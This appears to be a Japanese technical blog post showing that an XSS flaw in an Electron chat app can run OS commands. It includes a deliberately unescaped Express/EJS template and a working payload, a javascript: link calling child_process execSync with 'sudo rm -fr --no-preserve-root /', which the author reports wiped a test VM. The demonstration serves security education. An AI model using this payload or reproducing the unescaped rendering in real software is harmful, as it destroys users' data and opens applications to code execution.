JavaScript
Node.js
xss
Electron

ElectronアプリのXSSでrm -fr /を実行する

More than 3 years have passed since last update.

Electronアプリでxssを発生させると任意のコードが実行できるらしいのでrm -fr /を試してみます。


想定

web版とelectron版のあるチャットアプリケーションという設定です。攻撃者が用意したリンクをクリックすると、PC内のすべてのファイルを消し去るというシチュエーションを考えてみます。


用意

環境はホストmac OSX、ゲストにubuntu14.04環境をvagrantを利用し用意しました。

expressでリストとフォームからなる脆弱性のあるチャットをつくります。エスケープ処理をしてないので、任意のコードが実行できる状況です。


server.js

'use strict';

const path = require('path');
const express = require('express');
const app = express();
const ejs = require('ejs');

app.engine('ejs', ejs.renderFile);
app.set('views', path.join(__dirname, 'views'));

const messages = ['hello', 'world'];

app.get('/', (req, res) => {
res.render('index.ejs', {
messages
});
});

app.get('/post', (req, res) => {
const {message} = req.query;
if (message) {
messages.push(message);
}
res.redirect('/');
});

app.listen(3000, () => {
console.log('Example app listening on port 3000!');
});


<%= %>ではなく<%- %>を使うことでエスケープ処理を行わないようにしてます。


index.ejs

<!DOCTYPE html>

<html>
<head>
<title>XSS</title>
</head>
<body>
<form method="get" action="/post">
<textarea name="message" cols="50" rows="7"></textarea>
<input type="submit" />
</form>
<ul class="message--list">
<% for(let msg of messages) { %>
<li><%- msg %></li>
<% } %>
</ul>
</body>
</html>

さて、非常に簡易的ですが、上記のコードをElectronに組み込みます。


index.js

'use strict';

const electron = require('electron');
require('./server');
const {app} = electron;

let mainWindow;

function onClosed() {
mainWindow = null;
}

function createMainWindow() {
const win = new electron.BrowserWindow({
width: 600,
height: 400
});

win.loadURL(`http://127.0.0.1:3000`);
win.on('closed', onClosed);

return win;
}

app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});

app.on('activate', () => {
if (!mainWindow) {
mainWindow = createMainWindow();
}
});

app.on('ready', () => {
mainWindow = createMainWindow();
});


フォームとリストからなる簡易的なチャットアプリができました。

スクリーンショット 2016-05-21 09.28.42.png


実行

ubutnu14.04の仮想環境を用意してrm -fr /が実行されるのか試してみます。

フォームに以下の内容で投稿してみます。

<a href="javascript:

(() => {
const {execSync} = require('child_process');
execSync('sudo rm -fr --no-preserve-root /', {encoding: 'utf8'});
})();
"
>CLICK ME</a>

child_processを使えば任意のコマンドが実行できるので、rm -frを実行させます。これで、リンクをクリックするとPCが死にます。さよなら!

スクリーンショット 2016-05-21 09.57.30.png

死にました。

スクリーンショット 2016-05-21 19.14.49.png

ワンクリックですべてが吹き飛ぶの最高ですね。gifを撮り忘れたのが心残りです。


参考

以下のリンクがElectronにおけるセキュリティ対策について詳しくまとまっています。

electronの倒し方


まとめ

Electronアプリに脆弱性があるとwebにおける被害より、クリティカルな被害がでることが確認できました。

一応githubに今回試した脆弱性アプリを置いておいたので、試したい人はどうぞ。